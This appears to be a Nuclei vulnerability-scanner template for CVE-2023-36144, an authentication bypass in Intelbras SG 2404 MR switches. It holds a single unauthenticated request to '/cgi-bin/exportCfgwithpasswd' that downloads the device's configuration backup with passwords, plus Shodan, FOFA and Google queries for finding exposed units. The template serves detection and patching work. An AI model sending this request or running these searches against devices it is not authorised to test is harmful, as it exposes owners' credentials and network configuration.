Intelbras Switch - Information Disclosure

id: CVE-2023-36144

info:
  name: Intelbras Switch - Information Disclosure
  author: gy741
  severity: high
  description: |
    An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.
  impact: |
    Unauthenticated attackers can exploit authentication bypass to download backup configuration files containing critical device information including credentials and network configuration from Intelbras Switch devices.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36144
    - https://github.com/leonardobg/CVE-2023-36144
    - http://intelbras.com
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-36144
    cwe-id: CWE-862
    epss-score: 0.39723
    epss-percentile: 0.98445
    cpe: cpe:2.3:o:intelbras:sg_2404_mr_firmware:1.00.54:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelbras
    product: sg_2404_mr_firmware
    shodan-query:
      - title:"Intelbras"
      - http.title:"intelbras"
    fofa-query: title="intelbras"
    google-query: intitle:"intelbras"
  tags: cve2023,cve,intelbras,switch,exposure,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cgi-bin/exportCfgwithpasswd'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'System Description'
          - 'System Version'
          - 'System Name'
        condition: and

      - type: word
        part: header
        words:
          - 'attachment;filename='

      - type: status
        status:
          - 200
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